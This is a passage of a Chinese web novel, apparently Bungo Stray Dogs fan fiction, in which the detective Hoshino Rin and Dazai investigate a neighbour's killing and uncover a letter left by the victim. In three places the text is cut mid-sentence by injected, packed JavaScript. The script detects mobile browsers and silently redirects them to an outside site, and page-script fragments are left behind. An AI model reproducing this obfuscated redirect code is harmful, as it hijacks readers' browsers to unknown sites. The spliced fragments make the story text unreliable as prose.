吉田琴子不知从哪个角落里窜了出来,像风一样把吉田友香带到一旁:“阿纲,你回来了……我给你做饭好不好?” 不愧是母女啊,都这么喜欢窜出来。让星野凛感到一丝惊讶的是,吉田琴子到底是怎么从一个正常人变成现在这副疯癫模样的?不,她想错了,之前也不是什么正常人,毕竟能忍受吉田纲那么久。 这时,佐藤凉介着急忙慌地跑到吉田家的门口: “我姐姐受伤了,请你们快点来救救我姐姐吧!” 11. 第 11 章 星野凛连忙跨出警戒线,来到佐藤凉介的面前:“怎么会这样,发生什么了?你慢慢说。” 佐藤凉介拉着星野凛的手就准备往回走:“来不及说那么多了,之前你们带友香去治耳朵的时候,我就知道侦探社有一个很厉害的医生,拜托你了,星野小姐,帮帮我吧,我姐姐绝对不能出事。” 听到佐藤凉介对她用了敬语,她才意识到事情的严重性,回头冲太宰喊道:“太宰你也快点过来帮忙。” “马上去——”太宰回应完星野凛的话,就向村上警官说:“失陪了,村上警官。” 村上警官点点头:“去吧,遇到麻烦可以告诉我。” 太宰跨出警戒线,来到佐藤家,看到星野凛正把一个浑身是血,陷入昏迷的女人揽到自己身上。 “凛酱要不要我来帮你。” 星野凛小心扶好佐藤凉介的姐姐:“废话,不要只说不做啊,快点过来。” 太宰看了眼半蹲姿势的佐藤凉介:“佐藤君一个人没问题吗?” “哎呀,你先别管那么多了,过来帮我把佐藤小姐抬到凉介的背上。” “凉介?凛酱什么时候和佐藤君这么熟了,我都不知道呢~” 太宰故意把最后一句话的尾音拖长。 “你这家伙,能不能关注重点啊,我天生自来熟可以了吗?” 星野凛头冒黑线。 “太宰先生,拜托了。” 半蹲着的佐藤凉介出声了,只不过声音有点闷:“姐姐是我唯一的家人了,我不想她发生什么意外。” “好吧,真是没办法,谁让我这么善良呢~” 太宰说完就帮星野凛一起把佐藤凉介的姐姐抬到他的背上,“佐藤君可以起身了,小心一点。” “我知道了,谢谢太宰先生,还有星野小姐。” 女人的身上有多处致命伤,尤其是颈动脉那里,再深一点就危及生命了,到底是谁干的,完全就是冲着对方的命去下的黑手。 星野凛因为和她有肢体接触,衣服外套上沾满了血迹,“太宰你先带凉介回侦探社找与谢野医生治疗吧,我去找友香借一件衣服,顺便帮村上警官调查一下案件。” 太宰看了眼星野凛沾满血迹的外套,提议道:“我先带佐藤君回去倒是没问题啦,只不过凛酱还是先把外套脱下来吧,我帮你带回去。” 星野凛脱下外套递给他:“不用这么麻烦,你帮我扔了就行,这么多的血迹也洗不掉吧?就只有外套沾的比较多,你帮我扔了,我就不用问友香借了。” 佐藤凉介闻言把头埋低:“实在抱歉,星野小姐,衣服我会赔给你的。” “没关系,一件衣服而已,人命关天,太宰你快点带凉介回侦探社吧。” “好哦~凛酱一个人在这里也要注意安全,实在没有线索就早点回侦探社。” “知道了知道了,我有那么不靠谱吗……” 太宰递给星野凛一把手枪:“遇到困难记得用武力解决哦~多关注细节,不要钻牛角尖。” 星野凛接过手枪,“我知道了,没想到你这么在意我的安全,还特意把枪给了我,不用担心,我虽然不记得怎么使用异能,但身体有肌肉记忆,体术还是很好的。” “当然啦,毕竟凛酱也算是我发掘出来的嘛。” “行了,快走吧,佐藤小姐还危在旦夕呢,就算有与谢野医生在,我们也不能这么傲慢,漠视她人生命啊。” “谢谢星野小姐,太宰先生我们快走吧,姐姐她…快要撑不住了。” 佐藤凉介的声音有些哽咽。 “听到没?还不快点走。” “好吧,我们走了佐藤君。” 看着太宰和佐藤凉介下楼梯后,星野凛才重新回到吉田家。 “村上警官,你有什么新的发现吗?” 村上警官点了支烟,“很遗憾,除了你之前提供的线索之外,没有什么新的发现,我派人去吉田友香去的那家超市调了监控,她确实在买菜,有不在场证明。” “至于吉田琴子……你自己看吧,我尽力了。” 什么叫尽力了? 星野凛指着疯癫的吉田琴子:“村上警官,你就没想过怀疑她吗?” 村上警官把烟摁灭,疑惑道:“怀疑她?她已经变成这副样子了,看着也不像是装的,完全没有怀疑她的理由啊。” “不不不,村上警官你还是太天真了,我之前和你说过吧,吉田纲把她当做免费保姆使唤,说不定她早就想反抗,才故意装疯卖傻逃过一劫呢。” “当然了,我也只是猜测,没什么实质性证据。” 村上警官按照星野凛提供的猜测去思索:“星野小姐提供的猜测很有参考价值,我记住了。” “一个隐忍多年的家庭主妇的复仇吗……” 由于吉田纲是死在自己家里,不需要办案人员到处跑,该采集的信息都采集完了,所以警察走了一大半,只留下了几个新人来学习经验。 吉田琴子一直不让吉田友香离开自己身边,把她当成了吉田纲,“阿纲你去哪里,不要走好不好……” 吉田友香不知道她在说什么,挣脱开束缚:“母亲你在说什么啊,请你快点清醒过来吧。” 吉田琴子已然神志不清:“不……不…你就是阿纲,阿纲你想吃什么,我去给你做。” 星野凛走到吉田友香旁边,把内容写在记事本上给她看:友香你快点说自己想吃寿司,让你母亲忙起来,她把你当成你父亲了。 吉田友香看了记事本上的内容后开口:“我想吃寿司,麻烦你去做吧。” 星野凛把字写大,敲重点:语气太温柔了,要过分点才行。 吉田友香恍然大悟,模仿父亲平时的语气:“快点去做寿司,你是想饿死我吗?” 这一招果然有用,吉田琴子立马去做,也不纠缠吉田友香了,跑去厨房:“我马上去,很快就好。” 星野凛看着吉田琴子跑向厨房的背影,不由得陷入沉思,或许是她想多了,像吉田琴子这种人可能就是天生喜欢伺候人吧,这神态,这动作……如果真的是演的话,那也挺厉害的。 没有长年累月的习惯不可能这么自然。 见吉田琴子去厨房后,吉田友香松了口气,同时还略带担忧:“星野小姐,我母亲这个情况是不是要送去精神科检查一下啊?” 星野凛快速写好内容:不用担心,现在医疗条件这么发达,一定会治好的。对了友香,你当时出去买菜的时候,你母亲有什么异常吗?她有什么家族遗传史吗? “异常?好像没有,当时母亲正忙着洗衣服,就把买菜的工作交给我了,我母亲并没有家族遗传史,她每年都按时体检的。” 没有家族遗传史,平时身体又好,现在变成这副模样除了是装的就是真的目睹了吉田纲被杀害的全过程,才精神失常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037675|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧。 村上警官问星野凛借记事本和钢笔:“麻烦借我用一下,我有重要的事要问她。” 星野凛把那两样东西递给村上警官,好奇道:“村上警官要问友香什么呢?” “谢谢,等会你就知道了。” 村上警官在记事本上一笔一划地写:听说你还有个姐姐,家里发生了这么重要的事,通知你姐姐了吗? 吉田友香看完内容,回答道:“我并没有告诉姐姐,因为姐姐在隔壁市工作,离横滨有点距离,我不想她辛苦奔波就没有告诉她,打算等事情处理完后再告诉她。” 村上警官又在记事本上写:你是要一个人承担这些吗?完全没必要,你姐姐好歹是一个成年人,有些事就该让她回来和你一起面对的。 吉田友香接过记事本:“谢谢村上警官的关心,我一个人真的可以的,我没有在意气用事,我只是不想让姐姐看扁我,我想让她知道我已经长大了,不是小孩子了。” 村上警官写字的手拿起又放下,星野凛看出他的纠结:“村上警官,我来问吧。” “给你吧,这孩子明明就是在意气用事,还说自己没有意气用事。” 星野凛接过记事本在上面写:友香你真的想好了吗?打算独自处理家里的情况?我知道你想让姐姐感到欣慰,想向她证明自己,但这些都不是小事,你一个人真的应付不来的。 “没关系的星野小姐,我已经想好了,我一个人真的可以,请你相信我吧,我马上也是一名高中生了,这些都是我该承担的责任。” 见吉田友香这么犟,星野凛只好放弃劝说,这家伙到底在故作坚强什么啊…… 星野凛只好问和案件相关的:友香你还记得你父亲出事前有什么异常的举动吗? 吉田友香摇摇头:“没什么异常的举动,就是我之前说的突然间大喊说自己在卧室看到了鬼,虽然嘴上这么说,但昨天晚上倒是相安无事,星野小姐,我觉得父亲的死和鬼关系不大,不然他昨天晚上就出事了。” 废话,这些她当然知道,她想要的是细节啊,可惜吉田友香没看懂言外之意。 吉田琴子在厨房忙活半天,终于把寿司做好端到吉田友香的面前:“阿纲快点尝尝味道怎么样?有需要改进的地方吗?不好吃的话,我一会再重新做一份。” 吉田友香用求助的眼神看向星野凛。 “……”,松本那混蛋真是喜欢给她添麻烦,非得把吉田友香的耳朵变成这样,上次就应该抓住她,让她把吉田友香的耳朵给治好的,这下好了,变成人形助听器了。 星野凛轻声叹气,在记事本上写:你尝一口寿司,说味道很难吃,让她再重新做一份,不然她不会消停的,让她做饭还能安静会。 吉田友香看了星野凛的话照做,尝了口寿司然后吐出来:“真难吃,这是给人吃的东西吗?赶紧再去做一份。” 吉田琴子把剩下的寿司端回厨房:“我马上再做一份,你再等一会,一会就好。” 星野凛想和村上警官说点什么,手机突然响了,来电人是太宰。 为什么太宰那家伙总是在打断她说话…… 算了,不和那家伙计较了,星野凛摁下接通键,太宰的声音从里面飘出来: “凛酱,佐藤小姐已经脱离生命了哦,佐藤君说有很重要的事情要对你说,你赶紧回侦探社吧。” “ ?” 12. 第 12 章 武装侦探社内,看着手术室的灯灭了之后,佐藤凉介立马上前:“与谢野医生,我姐姐怎么样了?” 与谢野晶子摘掉白手套:“放心好了,你姐姐已经脱离生命危险了。只是……” “只是什么?” 佐藤凉介连忙追问。 “只是还没有醒,不过不用担心,她是由于过度恐惧才迟迟不愿醒,而陷入重度昏迷的。” “这样啊……”佐藤凉介又问:“那什么时候才能醒过来呢?” “这个嘛,不太好说,要看病人自己了,只要她战胜了自己的心魔,很快就会醒过来的。” “真的吗……” 一旁的太宰也出声道:“不用太担心了哦,相信与谢野医生吧。” 佐藤凉介松开攥住衣角的手,泄气道:“我知道了,谢谢与谢野医生和太宰先生。” “星野小姐怎么还不来,都说了有很重要的事要告诉她了。” 太宰将手机上下来回抛掷:“我已经给凛酱打过电话了,佐藤君不要着急嘛,说不定凛酱一会就回来了。” 星野凛一打开侦探社的门,就听到了太宰的话:“不好意思,路上堵车,回来晚了。” 太宰得意地笑道:“看到没~我说什么来着,凛酱还真是赶巧啊。” 佐藤凉介深吸一口气,双手攥紧衣角:“那个……星野小姐,我有很重要的事要和你说,可以跟我来一下吗?” 星野凛一脸懵,但还是跟了上去:“到底是什么事啊?” “搞什么嘛……神神秘秘的还要单独说。” 太宰小声嘟囔着。 与谢野晶子故意调笑道:“说不定是去告白了呢?凛酱这么可爱,被告白也很正常啦,太宰你说是不是啊?” 太宰无辜眨眼,附和道:“是啊,毕竟凛酱这么有趣又可靠,这种事与谢野医生就不要试探我了,我对凛酱不是你想得那样哦~” “我知道了,没劲,不试探你了。”与谢野晶子说完回手术室:“我去看看佐藤小姐醒了没。” 与此同时,佐藤凉介带着星野凛来到侦探社门口的绿植旁。 “可以说了吗?已经够远了吧。” 佐藤凉介提起地上的浇水壶给绿植浇水:“星野小姐你有被最信任的人,背叛的经历吗?” “啊?” 她不确定道:“应该没有吧……我不记得了。” “不记得是好事啊,这样就不会觉得煎熬和痛苦了。” 星野凛叹了口气:“能不能说重点?我每次和你们这些谜语人对话都很累的好不好?!” “星野小姐,你看这盆绿植长得多好啊,你一定要多给它浇水,勤给它松土啊。” 星野凛:“……” 这家伙是不是有毛病啊?她还以为要说什么重要的事呢,结果就这? “你这是在交代遗言吗?说得就跟你以后见不到这盆绿植了一样。” 佐藤凉介挠挠头,笑道:“我这不是怕你不好好照顾它才这么说的嘛。” 星野凛一把夺过他手里的浇水壶,给绿植浇水:“我怎么可能不照顾它呢?哪怕是一盆绿植也是侦探社的一份子,都是同事,照顾一下是应该的。” “哈哈哈哈哈……星野小姐真有趣,不过听你这么说,我就放心了。”佐藤凉介出声笑道。 星野凛无语地看着他:“你这家伙,莫名其妙地让我照顾一盆绿植就算了,问题是,你和这盆绿植今天才刚认识吧,哪来这么深厚的感情啊?” 佐藤凉介一本正经地胡诌:“你不懂,这叫做羁绊,哪怕认识的时间再短,都阻挡不了我们之间的双向奔赴。” “打住,什么双向奔赴,明明是你自己一厢情愿吧?” “怎么可能,我们之间的羁绊是任何人都否认不了的。” 星野凛:…… 坏了,真遇到神经病了。 “与谢野医生——麻烦你能帮凉介检查一下脑子吗?他好像精神失常了。” 她探头冲手术室的方向喊道。 佐藤凉介也用相同的音量喊道:“我没有精神失常,不用麻烦与谢野医生了——” “好了,我去看看我姐姐怎么样了,它就拜托星野小姐了。” 什么嘛……搞得这么正式,“知道了,你去吧,它就交给我了,一定不会让它枯萎的。” “辛苦星野小姐了。” “不辛苦,命苦。算了,你去看望一下佐藤小姐吧。” 等佐藤凉介走了后,星野凛才开始观察那盆绿植,看过来看过去都只是一株平平无奇的绿植,也没什么特别的啊。 她不是听不出来佐藤凉介话里话外的暗示,只是这线索实在是太抽象了,她根本不知道从哪里下手啊。 算了,还是找太宰一起解决这个难题吧。 星野凛回到手术室,看到太宰坐在一旁睡觉,脸上还盖着一本书:“快点醒醒啦,你这家伙昨晚没有睡觉吗?” “我没有睡觉啊凛酱,我在思考。” “哦,那你思考出什么人生哲学了吗?” 太宰把书拿下来,露出那双鸢色的眼睛:“当然啦~经过我的缜密思考发现,人类果然离不开蟹肉罐头,离开蟹肉罐头会死掉的。” “……” 那是你自己吧,不要代表整个人类啊喂! 她真的好想打他啊,但又怕这家伙碰瓷,只好忍住想暴打他的念头,“凉介还没从手术室出来吗?” “还没有,凛酱怎么这么关心佐藤君啊?” 星野凛眨了眨青色的眼睛,故作神秘道:“因为我们之间有小秘密,他把自己觉得重要的东西托付给我了。” “诶?我和凛酱都没有小秘密,一点都不公平的说。” 太宰把书重新盖到脸上。 “这根本不是重点啊喂!你应该问‘重要的东西是什么’,而不是关注奇奇怪怪的方面。” “这算奇怪吗?我和凛酱怎么也算是生死与共的搭档了吧?关心一下也很正常啦~” 星野凛把他盖在头上的书拿下来:“你看你又没抓重点,给你一次机会重新说。” “呜哇——凛酱好严格。” 太宰抱怨完伸手去拿那本书:“凛酱快点把书还给我,我要尝试一种全新的自杀方法,那就是疯狂看书被知识给头痛死,怎么样,是不是很有创意?” 星野凛故意把书藏到身后不给他:“并没有这么觉得,明明很抽象,哪里有创意了?” “诶?——明明就很有创意!” “没有。” “就有!” “……” 等等,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037676|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么要和太宰争论这个无聊的问题,和小学生一样,一点也不成熟稳重。 她发现和太宰那家伙待在一起后总是会忘记重点,不自觉被他带跑偏,从某种意义上来说,这种能力还是非常可怕的,尤其是当你成为了他的敌人之后。 毕竟,有个能操纵自己想法和内心的敌人是一件极度倒霉的事。 星野凛叹了口气:“好吧,其实我有一个难题不知道怎么解开。” “是关于佐藤君的吗?” “对啊,他好像告诉了我一个线索,但又没告诉,我不知道那盆绿植有什么特殊的,他一直提醒我,让我好好照顾那盆绿植。” 太宰收起散漫的神态,从椅子上站起,深沉地说:“凛酱,我劝你还是不要纠结的好,有时候人的主观自我意识是我们无法干涉的,顺其自然就好,接受自己的不足和尊重对方的主观意识才是最重要的。” 说完又换了种轻快的语气说道:“总之不需要在意啦~该来的总会来不是吗?” 星野凛听了个一知半解,“你的意思是让我别多管闲事呗,可是这是在破案啊,我总不可能当做没听见,没看见,当个冷漠的看客吧?” “凛酱不要说得那么难听嘛,我是让你多关注自己,少纠结那些一定会发生的事啦。” 太宰这家伙明明有着一副好头脑,却不愿意说出答案,是想看她一直在原地打转吗?真是恶趣味啊。 既然他不肯透露,那她就自己慢慢琢磨,靠人不如靠己。 佐藤凉介这时从手术室里走了出来:“我姐姐还没有醒,麻烦星野小姐和太宰先生帮我照看一会,我回家给姐姐拿换洗的衣服。” 星野凛:“没关系,你回去吧,这里有我和太宰就行。” “谢谢。”佐藤凉介走出侦探社的大门又折返回来:“星野小姐,别忘了好好照顾它。” 到底是有多喜欢那盆绿植啊?都从走出侦探社了,还特意回来提醒。 星野凛立马提起水壶给绿植浇水:“放心,我会好好照顾它的,你赶紧回去吧。” “好……这样我就放心了。” * 又是阳光明媚的一天,星野凛和太宰昨天在侦探社等了一晚上,佐藤凉介都没有回来。 “你说佐藤那家伙不会是觉得家里的床太舒服,就睡过头忘记回来了吧?” 星野凛在一旁整理文件,猜测道。 太宰点点头,“很有可能哦,而且佐藤小姐到现在也没醒,会不会是在梦里生佐藤君的气,故意不醒的?” “你这个猜测也很合理,说不准真是这样。” “是吧~我也这么觉得。” 中岛敦在一旁小声吐槽:“到底哪里合理啊?星野小姐这时候不应该吐槽吗?怎么还认同起太宰先生了……” 星野凛看着中岛敦:“敦君你说什么呢?你是不是也觉得我的猜测很有道理?” “那个……emmm……是很有道理。” 中岛敦硬着头皮道。 忽然一阵电话铃声响起,星野凛拿起来接听:“这里是武装侦探社。” “我是村上,接到报案,在上次的居民楼楼下发现了一具血肉模糊的尸体,经法医比对,那具尸体就是吉田家的邻居——佐藤凉介。” 13. 第 13 章 星野凛马不停蹄赶去案发的居民楼,到的时候法医已经将尸体运回警察署了。 村上警官正靠在警车上抽烟,看到星野凛后揉了揉发酸的眼眶:“昨天佐藤有和你说什么吗?” 星野凛摇了摇头,“没说什么,昨天他说要回家帮佐藤小姐拿换洗的衣物,期间一直没有回侦探社,我也没有多想,直到村上警官的电话打来,我才知道他出事了……” 事情怎么会发展成这样?明明昨天还在和她插科打诨的一个人,今天就曝尸在地……星野凛感到一阵眩晕,耳鸣嗡嗡作响,使她听不清村上警官的话。 “抱歉,村上警官,我有点不舒服,你刚才说了什么?我没听清。” 星野凛努力让自己清醒过来。 “没什么,这几天吉田家的葬礼都由吉田友香一人操办的,佐藤变成这样,他姐姐什么情况?” “佐藤小姐还在昏迷中。” 她听到吉田家的情况后又忍不住震惊:“吉田纲这么快就下葬了吗?法医的鉴定不是还没出来吗?” 村上警官捏了捏眉心:“吉田友香说想让父亲早点入土为安,至于凶手她已经不在意了。” 不在意了?吉田友香可真有意思,她是该夸她心胸宽阔呢?还是该夸她孝顺呢? 这么着急,她是想掩盖什么,替凶手开脱吗? 星野凛开口:“村上警官怎么看待佐藤凉介的死亡?” “经法医初步判断,他杀的概率很高,身上多处划伤,深可见骨,死前说不定遭受了非人的虐待。” “到底是谁这么变态……” 村上警官看到只有星野凛一个人,才想起来问:“对了,太宰先生没和你一起来吗?” 星野凛不在意道:“他啊,可能又去哪个地方入水了吧,这家伙总是一副游离在外的样子,真让人不爽。” 昨天太宰对她说的话,她今天才想明白,他早就知道佐藤凉介会出事,却不告诉她,也不干涉,什么尊重他人的主观意识,全是狗屁。 “啊嘞?怎么我一不在,凛酱就说我坏话,真是让人伤心呢~” 太宰的声音突然出现,吓得星野凛忍不住瞪了他一眼:“你这家伙是幽灵吗?走路都没声音的?!” “我就说太宰先生不可能不跟着一起来。” 村上警官把剩下的烟摁灭。 “当然啦~我担心凛酱一个人处理不好就跟过来了。” 太宰用清亮的语调说道,接着又向星野凛抱怨:“凛酱居然为了佐藤君,一句话都没和我说就走了,真过分啊。” 星野凛转过身不去看他,“当时那个情况,根本没时间和你说吧?而且,你不是自己跟上来了吗?根本不需要我等你。” 村上警官站直身体,拍了拍太宰的肩:“我去看看新人有什么发现,就不打扰你们说话了。” 见村上警官走了后,太宰立马站到星野凛的面前:“凛酱是生气了吗?为什么呢?” 星野凛抬眼看他:“我没生气,不要把我说得跟小孩子一样,为什么你心里不是很清楚吗?” “还说没有生气,真是口是心非啊。” 太宰戳了戳她的脸颊肉:“不要生气了嘛~我以为我昨天已经说得很清楚了,凛酱居然没有听懂吗?” 星野凛偏头躲开他的手:“说话就说话,请不要对我动手动脚,谢谢。” 他这是在干嘛?哄她吗?扪心自问,他们一共认识了不到一个月,他这个举动,别人误以为他们是恋人怎么办?和太宰恋爱什么的,想想就觉得灾难。 到底是谁想和同事在一起啊? 星野凛搓了搓胳膊上的鸡皮疙瘩,回归正题:“你不觉得自己拥有上帝视角却什么都不去做很冷漠吗?” 太宰收回手,放回兜里:“这样做确实很冷漠没错,但是凛酱你要知道,即使拥有上帝视角也不能随意干涉,甚至更改他人的结局,这是规定。” “我知道凛酱无法接受佐藤君的死亡,我就算告诉你,你也无法改变结局不是吗?何况这是佐藤君自己选的,也是他认为最正确的选择。” 星野凛张了张口,最终只说了句:“我知道了。” 太宰说得没错,是她太自以为是,以为只要提前看破佐藤凉介的计划,就能阻止他的死亡,可就算看破了又怎样?她能成功劝说佐藤凉介,让他不要去赴死吗? 答案显而易见,她不能,她没有太宰聪明的头脑,也没有松本月华强大的异能,她只是个普通人,一个误入侦探社,自带倒霉体质的普通人。 她什么都改变不了,这个认知让星野凛有些无力:“我去散步,别跟着我。” 星野凛说完就转身离开了,身后传来太宰的声音: “凛酱不要走远了,注意安全哦——” * 星野凛垂头丧气地走在大街上,太阳在天上散发着温度,她却感受不到一丝暖意。 不知不觉就走出了熟悉的范围,星野凛只好折返。 摆烂不能解决任何问题,起码知道了罪魁祸首是谁,这么想着她加快脚步,跑了起来。 等她跑回居民楼的时候,太宰和村上警官,以及警察都回去了。 她气喘吁吁地抬头望向七楼,或许当面对峙能获得部分答案。 这么想着,她一鼓作气跑到了七楼,稍微平复一下气息才去开佐藤家的门,果然,和她预想的一样,门没有锁。 上次来佐藤家是帮忙扶佐藤小姐,都没有仔细观察房子的装修风格和摆设。 现在才有时间好好打量一下,佐藤家比起吉田家明显简约了很多,家具和装修都是很普通的那种,看来佐藤姐弟平时过得很拮据啊。 毕竟,全家的生活开销全靠姐姐一个人,也难怪这样。 星野凛来到阳台看着蔚蓝的天空,“出来吧,松本。” “还是说,你见光死,只敢在晚上出现?” 听到星野凛略带挑衅的话,松本月华立马翻身进入阳台:“部长大人就是聪明,知道来这里找我。” “不要叫我部长大人,我失忆了,不记得什么暗杀部,也不记得什么首领,少把现在的我和以前的我相提并论。” 松本月华闻言轻嗤:“我叫你一声部长大人,是看在往日的情分上,换作别人早就把你这个叛徒给千刀万剐了。” 星野凛青色的眼眸中淬满了寒霜:“那还真是谢谢你了。” “我就算叛出了组织,首领想要我不好过,我都认了,为什么要杀害无辜的人?这样做有意思吗?” 松本月华惊讶地捂住嘴:“真是稀奇啊,没想到有一天我居然从你的嘴里听到这种话,这还是那个嗜血如命的星野凛吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037677|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别废话,佐藤到底是不是你杀的?” “我如果说是,凭你现在的实力,又能拿我怎么样呢?” 星野凛将拳头捏得“咔咔”作响,最终又松开,一把抓住松本月华的衣领:“我是不能拿你怎么样,大不了同归于尽啊,你的异能是厉害,但你的体术应该远远不及我吧?” “信不信我现在就带着你一起跳下去?七楼虽然不算高,但摔下去也得躺半个月吧。” 松本月华被星野凛钳制住,无法使用异能,才短短半个多月没见,她的力气怎么还和从前一样大?明明这几天都没回欧洲接受手术…… “你这个疯子,快点给我松手,我就是口嗨一下都不行吗?!” 星野凛步步紧逼:“说,佐藤凉介是不是你杀的?” “真是怕了你了,我就不该说那句话,你这混蛋还和以前一样没人性!” 松本月华努力回想昨晚的画面,“昨天那个叫佐藤的是过来找我了,他想让我发动异能,把他父母的灵魂召过来,再让我把他杀死,好让他和父母团聚。我当然拒绝了,连任务都完不成,做得漏洞百出,废物一个,我一气之下就让他听不见了,并没有杀他。” “我好歹也是暗杀部的副部长,不是随便什么人都配死在我手下的。” 星野凛加重了抓衣领的力道:“不是你杀的还会有谁?别以为你这么说,我就会相信你。” “都说了不是我,你爱信不信,我们部长大人这么聪明,难道还不知道是谁动的手吗?” 看着松本月华一脸无畏的神情,星野凛泄了力道:“你走吧,我不想看到你。” 松本月华连忙整理自己的衣领:“还是和以前一样粗鲁,没礼貌……” “给部长大人提个醒吧,凶手就在你的身边,你甚至接触过很多次。” 松本月华说完就离开了佐藤家的阳台,不知去向。 星野凛也准备离开阳台,一个没注意摔倒在阳台的玻璃上,“嘶……好痛啊。” 头在玻璃上磕了一个包,她慢慢起身走出阳台,准备去卫生间查看一下情况,但卫生间的门把手像涂了胶水一样,怎么拧都拧不开。 星野凛后退一步,重新蓄力,终于把门给拧开了,她刚往前迈了一步,就被打开的门给回弹撞击了。 额头和鼻梁差点没被撞断,星野凛捂着额头跌坐在地:“该死,为什么偏偏这个时候倒霉……” 紧接着她摸到鼻子上有温热的液体流出,是血。 她看着鲜红的液体发呆,昨天佐藤凉介对她说得最多的一句话就是“照顾好绿植”。 直到佐藤凉介出事,她也没想过从这抽象的线索下手,说不定线索就在绿植里。 星野凛站起来随便用纸巾擦了下鼻血,就跑出了佐藤家,一路下楼。 在路边打了个出租车后,就急忙跑回侦探社。 太宰正准备出去,一打开门就看到满鼻子是血的星野凛,“凛酱你去哪了?怎么搞成这副样子了?我正打算去找你呢。” 星野凛没理会太宰,像风一样钻进侦探社,把那盆绿植打碎在地。 除了泥土和绿植本身之外,还有一个白色的像纸一样的东西。 终于找到了! 她弯腰捡起,是一封信,落笔人是佐藤凉介。 14. 第 14 章 星野凛拆开信封,青色的眼眸认真专注地阅读着每一个字,直到看完,她都久久不能回神。 原来是这样,她可真是个笨蛋…… 这起案件是多么地普通又是多么地复杂啊,如果这是侦探社和太宰给她的考验的话,那她绝对通过不了,不过照目前的发展来看,摆明了就是给她的考验。 她说不定要与侦探社无缘了。 一个案件的进度拖成这样才误打误撞发现真相,她是真的没有探案的天赋。 太宰突然弯腰递给她一片湿巾:“凛酱还是擦擦吧,出去吓到小孩子就不好了哟~” 星野凛回过神把信收好,接过太宰的湿巾:“谢谢。” “不客气啦~话说凛酱你都发现了什么呢?” 太宰看到她手上的信后才恍然大悟:“啊嘞,这不是信吗?原来佐藤君留下的线索就是一封信啊。” 说完还凑近她:“信里写了什么啊凛酱?该不会真是告白遗书吧?” “你猜啊,反正你这家伙早就知道真相了吧,这封信你看不看都无所谓了。” “怎么会,我还什么都不知道呢。” 他突然想到什么,双眼放光道:“既然凛酱不愿意给我看的话,不如就读给我听吧。” 太宰甚至把耳朵贴过来:“凛酱记得读得慢一点哦~” 星野凛满头黑线:“你自己看和读给你听到底有什么区别啊喂!你这家伙是声控吗?好变态!” 被说变态的太宰仿佛受到了一万次暴击,捂住自己的心脏浮夸道: “怎么会这样?好过分啊——像我这种绝世美男怎么可能是变态,要知道,我走在大街上平均都会被超过五十个以上的女性索要联系方式,为什么到凛酱这我就成了变态?!这不公平!” 平均超过五十个以上?也太夸张了吧?这家伙以为自己什么偶像爱豆吗…… 星野凛把信递给他:“你自己慢慢看吧。” 太宰看着手里的信一脸懵:“诶?凛酱你去哪里?” “去给案件收个尾。” 星野凛又想起了什么补充道:“不要跟过来,有什么情况我会通知你的。” “诶——这样啊,好吧。” * 星野凛已经记不清自己来了多少次吉田家了,从接到案件的那天起,几乎每天都往吉田家跑。 现在,终于要结束这一切了,反而有些不真实。 她轻轻拧开门把手,“有人在吗?” 无人回应。 星野凛走进客厅巡视,干净整洁,没有一丝灰尘,直到厨房发出声响,她才意识到家里有人。 吉田琴子蹲在地上收拾碎掉的盘子,神情慌乱自言自语道:“阿纲,我错了,我不是故意的,我……我立马收拾好。” “……” 她这段时间没来吉田家,吉田琴子居然疯魔到这个地步了吗? 星野凛看着吉田琴子小心翼翼收拾完碎片,又开始若无其事备菜的行为产生了好奇,情绪切换的也太丝滑了吧,难道精神病都这样吗?上一秒逮着一件事耿耿于怀,下一秒又像没事人一样,该干什么干什么。 “星野小姐,你怎么来了?”吉田友香从卧室里背着包出来。 星野凛下意识掏出记事本:你背着包是要去干嘛?畏罪潜逃吗? 吉田友香看了眼记事本后,笑着开口:“星野小姐还真是单纯啊,不需要写在纸上哦,我的耳朵已经好了。” 好了?从一开始就是装的吧……这家伙可真会演。 星野凛象征性地鼓掌:“那可真是恭喜你了,简直是医学奇迹啊。” “多亏了松本大人,我的耳朵才能痊愈,早知道就装聋了,听不见一点也不方便。” 松本大人?还真是和那家伙一伙的,不得不说,吉田友香是真敬业啊,没想到她真让松本月华把自己弄聋了。 “一直以来多谢星野小姐的照顾了,我要离开这里了。” 吉田友香回头看了眼吉田琴子:“我母亲就劳烦星野小姐送进精神类医院了,我会联系母亲那边的亲属,不需要星野小姐照顾。” “你这家伙在说什么啊?莫名其妙的,自己的母亲就自己去送,我可没有帮你的义务。” 明明做了那么多,却摆出一副无辜受害者的模样。 吉田友香像是没听见那句话,背着包继续往外走:“拜托星野小姐了。” 又是一个喜欢自说自话的家伙,到底谁答应她了啊…… 星野凛追上她的步伐:“你到底要去哪?” 